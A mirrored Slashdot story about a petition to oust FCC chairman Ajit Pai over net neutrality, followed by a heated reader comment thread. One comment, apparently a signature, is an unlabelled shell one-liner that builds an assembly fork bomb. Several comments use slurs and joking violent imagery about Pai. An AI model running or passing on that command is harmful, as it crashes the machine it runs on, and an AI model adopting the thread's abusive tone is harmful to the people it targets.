Slashdot Mirror
Petition Calls for Ouster of FCC Chairman Pai (whitehouse.gov)
Long-time Slashdot reader speedplane writes:
Yes, we've all heard that net neutrality is on its way out, and it seems NPR was able to snag one of the few (the only?) interview's of Ajit Pai on its effect. Sadly, NPR's Rachel Martin stuck to very broad and basic questions, and failed to press Pai on the change of policy. That said, it's worth a listen.
Pai insists that "We saw companies like Facebook, and Amazon and Google become global powerhouses precisely because we had light-touch rules that applied to this Internet. The Internet wasn't broken in 2015 when these heavy-handed regulations were adopted, and once we remove them, I think we'll continue to see the infrastructure investment that will benefit digital consumers and entrepreneurs alike... I've talked to a lot of companies that say, look, we want to be able to invest in these networks, especially in rural and low-income urban areas, but the more heavy-handed the regulations are, the less likely we can build a business case for doing it."
But New York's Attorney General Eric Schneiderman says he's spent six months investigating "a massive scheme to corrupt the FCC's notice and comment process" for net neutrality, adding that "the FCC has refused multiple requests for crucial evidence." (Nine requests over five months were ignored.) And now over 65,000 people have signed a new online petition at WhiteHouse.gov calling for the immediate removal of Ajit Pai as the FCC's chairman, calling him "a threat to our freedoms."
Meanwhile, The Verge has compiled "a list of the lawmakers who voted to betray you," with each listing also including "how much money they received from the telecom industry in their most recent election cycle."
Pai insists that "We saw companies like Facebook, and Amazon and Google become global powerhouses precisely because we had light-touch rules that applied to this Internet. The Internet wasn't broken in 2015 when these heavy-handed regulations were adopted, and once we remove them, I think we'll continue to see the infrastructure investment that will benefit digital consumers and entrepreneurs alike... I've talked to a lot of companies that say, look, we want to be able to invest in these networks, especially in rural and low-income urban areas, but the more heavy-handed the regulations are, the less likely we can build a business case for doing it."
But New York's Attorney General Eric Schneiderman says he's spent six months investigating "a massive scheme to corrupt the FCC's notice and comment process" for net neutrality, adding that "the FCC has refused multiple requests for crucial evidence." (Nine requests over five months were ignored.) And now over 65,000 people have signed a new online petition at WhiteHouse.gov calling for the immediate removal of Ajit Pai as the FCC's chairman, calling him "a threat to our freedoms."
Meanwhile, The Verge has compiled "a list of the lawmakers who voted to betray you," with each listing also including "how much money they received from the telecom industry in their most recent election cycle."
Too little too late.
You're right. What would I want the head for? That thing starts to rot and stink the place up.
Just dump the whole corpse.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
It takes a special kind of retarded traitor apologist to compare a public petition to oust an elected official from their badly managed office to an actual lynching.
Maybe you should experience your hyperbole sometime.
Please. Let's stay civilized. Plucking a chicken is so cruel.
Just throw him in the tar pit and enjoy.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Here's hoping for a Slashdot Effect, in the most positive way, for that petition.
Interestingly I've seen Imgur posts linking to it with over 100,000 likes, but the petition has yet to raise 100,000 signatures! (76k at time of writing).
Folks today think signing a petition online, or taking part in a robofax attack against your local congressmen is civics.
I spent an hour friday talking to my congressman about both sides of this, and his office hadn't received a single call or mail about the issue. He wasn't uninformed, but his give a shit is low.
robofax / robomail campaigns? nobody cares. if you can't be bothered to put your own words and ideas down and participate in the civic process then you genuinely don't care about the issue. Regardless of what you may say to your echo chamber online.
Steve Bannon has already suggested regulating them as utilities
https://www.google.com/amp/s/s...
Essentially the Democrats want one set of unpopular companies regulated. Bannon wants another set regulated. Right now the mainstream GOP is sticking to principle - ie that regulating either is bad and the status quo should stay. As US politics becomes more about shafting the other tribe and less about principles that might change though. I think it's fair to assume Trump is not overly concerned with abstract principles.
Of course neither the Democrats or the GOP will confront the fact that telco monopolies were created by regulation. The reason people worry about Comcast abusing its position is because in many places in the US there is only one ISP option. Which is not true for most customers in the UK for example. UK regulations are not perfect but living in the UK I always had a choice of ISP. Hell even in corporatist Sweden that was true. Ericsson was powerful enough to avoid taxes but it wasn't powerful enough to manipulate regulations so it was a monopoly ISP.
And the Net Neutrality advocates won't confront the fact that their argument for net neutrality should apply to Google and FB which are decidedly non neutral for political content. Then they say "It's a private company, they can do what they want" and link to that xkcd cartoon about being shown the door.
It's hard to sympathize much with either side really. The GOP don't really oppose regulation because they want to keep the regulations that create monopolies. And the Net Neutrality folks don't really believe in Net Neutrality. If Google and FB violate Net Neutrality in ways that hurt their political opponents and help their political allies they don't care.
And it's more likely that both the Democrats and Republicans decide on regulation based on whether it helps companies that donate to them and hurts ones who don't than that they're acting out of anything resembling principle.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I think "A threat to our freedoms" is polarized political mumbo jumbo and not going to serve anyone well in this discussion. The real claim here is that Ajit Pai has a sympathetic view towards corporations that is likely to be a conflict of interest and is using political spin to attempt to justify this position. The political spin is nonsense as far as I can tell. By the way, I'm sure a lot of this is coming from the US Chamber of Commerce and the Business Roundtable. That's the real reason that Ajit Pai should be removed is because he lakes the ability to be impartial and do what's best for the country not corporate America. As we all know, there is a systemic problem of corruption in America and Ajit Pai is the latest to succumb to its influence. It's unfortunately the status quo in American politics.
Now liberals, think about this issue that you care about very dearly. You protest, you sign all these petitions, you blog and project online, etc. and what does the government and corporate America do? They laugh at you because they think you're weak and all talk and no action. It thinks you'll lose interest in the issue and the status quo will continue. Now I wonder.. how else might the people be able to compel the government to represent them? You do the math... and you'll probably move a tad to the right of your beliefs when you realize what the answer to that question is. It's a sad state of affairs in America today that no one seems to have the capability to be reasonable.
We'll make great pets
> If it were really that important, why didn't Obama implement it early in his tenure?
The president was pretty busy, with Iraq and Afghanistan as wars he didn't start but needed to clean up, with the health care program, the difficulty of appointing any Cabinet staff in the face of an obstructionist Congress, and an economy reeling from two Asian wars and the housing market economic meltdown. I think we can safely say that he was _busy_.
Moreover, the FCC is supposed to be an independent agency from the White House. So any guidance or promotion of particular policies at the FCC can take much longer because it can't be done by presidential mandate.
Comment removed based on user account deletion
"The Internet wasn't broken in 2015 when these heavy-handed regulations were adopted,"
2015? Ahhh lets remember 2006 and the various efforts to stop telcos slowing traffic to charge throttling fees..
Here's Senator Stevens:
https://en.wikipedia.org/wiki/Series_of_tubes
"A series of tubes" is a phrase coined originally as an analogy by then-United States Senator Ted Stevens (R-Alaska) to describe the Internet in the context of opposing network neutrality.[1] On June 28, 2006, he used this metaphor to criticize a proposed amendment to a committee bill. The amendment would have prohibited Internet Access providers such as AT&T, Comcast, Time Warner Cable, and Verizon Communications from charging fees to give some companies' data a higher priority in relation to other traffic. The metaphor has been widely ridiculed, particularly because Stevens displayed an extremely limited understanding of the Internet, even though he was in charge of regulating it
They keep trying, the FCC blocks them, the Telcos go to court, or block in a slightly different way, and the FCC changes the rules to clamp down on it, and this cat and mouse game has gone on for over a decade. Pai of course knows as an ex Verizon lawyer he helped craft workarounds. He's trying to deceive.
Why shouldn't Pai be answerable for his lies? Why is it extreme to expect him to do his job of regulating the monopoly telco industry so they don't screw over customers?
All Year
A Couple Weeks Before NN Vote
A Week After Vote
How sad is it that our entire society has declined to the point that the nuclear option is the only option for any given conflict?
Someone cuts you off on the freeway? Chase them down and blow their brains out.
Your inability to argue against sincerely held positions gives something away. You've got fuck all.
None of that shit is happening, and you're a fucking moron to suggest that it is.
I do not want your cheap brainburning drugs. They are useless for work. And I am a working man today.
They spent the money to develop the fiber optics high speed "pipes". Why is it the governments business what speed, or how they control it? If someone doesn't like it, develop their own pipe?
I am sure I will get flamed for this, but to be honest, Americans deserve to lose their Internet freedom. The vast majority are unwilling to lift a finger to protect it. Most are unwilling to take an active roll in their political system to the point where someone like Donald Freaken Trump got elected to POTUS. I borderline retarded sociopath of a TV personality.
That the heck did people think would happen?
So, yes, you deserve to lose the internet. You deserve to lose your health care coverage. You deserve to pay higher taxes to the rich can pay less. You deserve to breath poison air and drink poison water after the dismantling of the EPA.
Ultimately, this who situation will be good for the world.
Europe will finally be forced to get off their asses and take their own destiny into the their hands. Same for Asia. It will shift the balance of power around in a way to create better long term stability.
Let's face, politically and socially, America has been on the way down for a long time. I think that only by hitting rock bottom will Americans wake up and say, fuck this shit! Enough and enough!! Then, finally take their country back from the oligarchy which it has become.
I do wish Americans every chance to get back on track, because they also deserve that.
For what it's worth, my family in rural Virginia had faster Internet access than I could get in NYC for a long time.
were able to develop exactly because of "net neutrality" -- even AOL, which had shopping and messaging businesses didn't cut off access to its future competition.
Pai also sat down with Reason a few months ago to discuss his goals as FCC chairman and his argument for reversing the Open Internet Order. You can see that interview here.
But Slashdot is doing a disservice conflating two issues here. Submitters' abuse of the online comment process has nothing to do with the propriety of reversing the last chairman's effort to regulate the internet.
It needs to be emphasized loudly: regulatory bodies are not democratic. Congress is the place where representatives hash out the direction of the US government, and commissions like the FCC are to follow the direction decided upon legislatively. They are not to act as a shadow legislature overriding and undermining the decisions made by Congress.
If you don't like that Congress decided we should have a light-touch approach to the internet, then great! Write your congressman and work to change the law. Meanwhile, the FCC will address the issues brought up in its comment period regardless of who submitted them as the law directs it to do.
AT&T will most likely own CNN, and Comcast owns MSNBC.
So when conservatives realise that Fox News, Breitbart, World Net Daily, and all the other right wing rags, aren't getting special treatment but MSNBC and CNN are, then they will bring back net neutrality. *shrug*
I'm god, but it's a bit of a drag really...
Thanks, I was #78203
Just another day in Paradise
nothing like injecting some good old fashion casual racism to really drive your point home... Good job!
The best chance to keep Pai from doing damage to net neutrality was last November. As long as Trump is in the White House it is probably going to be difficult to keep net neutrality as the law of the land. Best hope right now is to use the courts to mitigate the damage and drag out the process until a new administration can be put in place and Pai can be replaced.
>Let's rather go collect some money and buy us a ho ourselves.
It might be better to bankroll a professional lobbyist, so you have the potential to persuade more than one politician. Give your lobbyist a list of issues to work and a budget for researchers, lawyers, and bribes (I mean.. err, an entertainment budget for business lunches, etc). They're going to need an office, too.
Now, the lobbyist is going to cost about US 150K + bonuses and benefits. A legislative researcher pulls about 50K, and you're probably going to fork out another 80K for the lawyer. To be honest... you're going to want someone to handle office administration, reception, and errands, so probably throw another 35-40K in there for that. Oh, and you're going to pay around US 4500/month for office space.
You're getting close to 400K just to start up, and that's before you've figured out how much it costs to actually DO something with that office and those people. It's not unusual to spend millions on lobbying in DC.
So... maybe 1.5 million per year to start. Can you crowd fund that? Given the events of the last year, are you prepared to show all the money comes from Americans? How are you going to decide which issues your team should work on? (I can answer the last question - break your crowd funding attempt up by subject, divide efforts by the budget proportions). Who is going to give the orders to the team, judge their effectiveness, etc.?
It's perhaps not as big a job as you might think, but it's not simple, either.
If they weren't willing to pay attention to letters, what makes anyone think they'd pay attention to a petition?
File under 'M' for 'Manic ranting'
Right now the mainstream GOP is sticking to principle - ie that regulating either is bad and the status quo should stay.
The GOP only pretends to be against regulation. They just want THEIR regulations. They want regulations that reduce taxes but those are still regulations. They want individual freedom unless it is something like abortion or homosexuality that offends their sensibilities and then they are all about regulation. They want regulations that favor money making over clean air. They want regulations that hurt worker's rights to organize.
I think it's fair to assume Trump is not overly concerned with abstract principles.
True but he doesn't seem concerned with tangible principles either.
And the Net Neutrality advocates won't confront the fact that their argument for net neutrality should apply to Google and FB which are decidedly non neutral for political content.
Net neutrality has NOTHING to do with political bent of content makers. It is about giving control of the content to the companies that own the wires rather than those actually making the content. Google doesn't control the wires in most places and they aren't a monopoly anywhere. Contrast with Comcast which is basically the only wired provider of internet service to my house. (Wireless is not a viable option for various reasons) I don't have to use Google and I don't use Facebook but I have limited choices in internet service providers even if I include wireless options in the mix. It is trivial for me to use a search engine that isn't Google but it is nigh impossible for me to switch ISPs. You don't seem to grasp the importance of that distinction.
It's hard to sympathize much with either side really.
Only if you don't understand what net neutrality is. I want my ISP and backhaul providers to stay the hell out of deciding whose content should get priority. That should be my decision, not theirs.
And it's more likely that both the Democrats and Republicans decide on regulation based on whether it helps companies that donate to them and hurts ones who don't than that they're acting out of anything resembling principle.
Of course they do. But as long as that results in the right thing happening then we can live with it. The good news is that there are probably more companies in favor of net neutrality than against it including some heavy hitters in the tech world.
strangely, FTD only delivers succulents, not cacti.
the preceding comment is my own and in no way reflects the opinion of the Joint Chiefs of Staff
Because there are enough people like you who can't spend the 2 minutes it takes to sign, and yet post here complaining about it.
Just another day in Paradise
Leading up to the announcement, I've heard at least four podcast interviews in which he makes the case for scuttling NN. And does so quite well, I might add.
or the other side wins. You need a message. Half the reason Trump won is 'Make America Great Again' is way better than "I'm with her".
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
What will happens, if say , the rest of the world decide to go for NN, but the US does not and make tiered access ? Maybe I am missing something, but would not that incentive company to actually move to other countries ?
C. Sagan : A demon haunted world:
http://www.amazon.com/gp/product/0345409469/
visit randi.org
You can't de-manufacture the outrage with this sort of reasoned logic, either. Might as well be pissing up a rope. The fix is in, and the people demand that the Feds regulate the Internet. Pai isn't going to stop it, either. CNN and Fox is going to be protected from foreign news outlets, and Facebook and Google are right on board with censoring any non-government-approved sources of information.
"Somebody has to do something. It's just incredibly pathetic it has to be us."
--- Jerry Garcia
NPR pulls punches all the time. They're so afraid of being labelled unfair liberals that they refuse to ask republicans anything even resembling a tough question. Then when Al Franken air gropes somebody they freak the fuck out as if he raped babies. So annoying. Our local station even has a climate denier on as a guest on a regular basis, because they want to appear balanced. Maybe if the orange shitgibbon starts calling them fake news, I'd have a little more faith in them.
I'm normally the last person to defend Editor Dhavinder, but both words are totally cromulent.
If you have the vocabulary of a gastropod that's your problem.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
If it were really that important, why didn't Obama implement it early in his tenure?
Because it wasn't a problem at the time?
Prior to cable ISPs, all other ISPs (e.g. dial-up and DSL) were classified as common carriers, but cable ISPs were able to sneak through a loophole because they had started in a different industry. Despite that, cable ISPs originally respected net neutrality because they needed to remain competitive with the dominant dial-up and DSL ISPs who were being compelled to respect net neutrality. It wasn't until cable ISPs achieved dominance that they were finally in a position where they could take advantage of the loophole, which is when the FCC began making attempts at closing that loophole, though it took them a few tries and a few years to succeed at doing so.
Of course, he's a Trump appointee, so he must be evil and lying.
As you said, he was originally an Obama appointee, but my opinion of him has nothing to do with who appointed him. Rather, I, along with plenty of others here, were actually quite willing to give him the benefit of the doubt, especially after the previous chair of the FCC defied many of our expectations, having come from a background as a telecom lobbyist. I was willing to withhold my judgment of Pai until he first had a chance to prove himself. Now that he's shown his colors, yes, I think that he's evil and lying, but it has nothing to do with who appointed him. It's simply based on the actions he's chosen to take.
Much of the regulation pushed through the FCC by the Obama administration was a deliberate departure from the intent and letter of the law. This is one of them.
Not so. While I can't speak to other regulations (none of which are relevant to the topic at hand anyway), the federal appeals court specifically said (as it was striking down an actual regulatory overreach on the part of the FCC) that the FCC had the authority to regulate cable ISPs by reclassifying them as common carriers, so the FCC's doing so was most certainly in accordance with the intent and letter of the law. Moreover, it was in line with the regulations imposed on every single prior ISP in the history of the world wide web, so these are far from being new, arbitrary, or heavy-handed regulations.
Yea, did you?
Your whining about the massive public outrage is Moscow-bought commentary
the next non-traitor not-going-to-prison ACTUAL PRESIDENT
Pretty deranged, NeoMcCarthyist crap from a TDS sufferer.
"Somebody has to do something. It's just incredibly pathetic it has to be us."
--- Jerry Garcia
If it was actually supposed to be independent then the FCC's rules of governance wouldn't force weighting membership to the ruling party: 3 to 2.
So either the urban dictionary has the vocabulary of a turnip or you're a really clumsy typist.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Where is ANONYMOUS when you need them?
Yeah, those 18 million NEW JOBS on his watch never happened, right?
And the Congress just SAILED through his judges, right?
And his executive orders were never ruled unconstitutional, unlike Trump
Go suck Neil Cavuto's A$$ fool!
No 18 million new jobs, right?
No RECORD HIGH GROWTH in the stock markets, right?
Idiot
Please. Let's stay civilized. Plucking a chicken is so cruel.
Just throw him in the tar pit and enjoy.
Infect him with plague, liquefy him, and use a crop sprayer to distribute him over Congress.
To be sure, It is a point of interest that there has never been any petition serving the public interest that I have ever signed which has resulted in any action being taken in favor of what I was signing the petition for. In general, if something requires a petition to stop, the decision has actually already been made, and you can't change it.
File under 'M' for 'Manic ranting'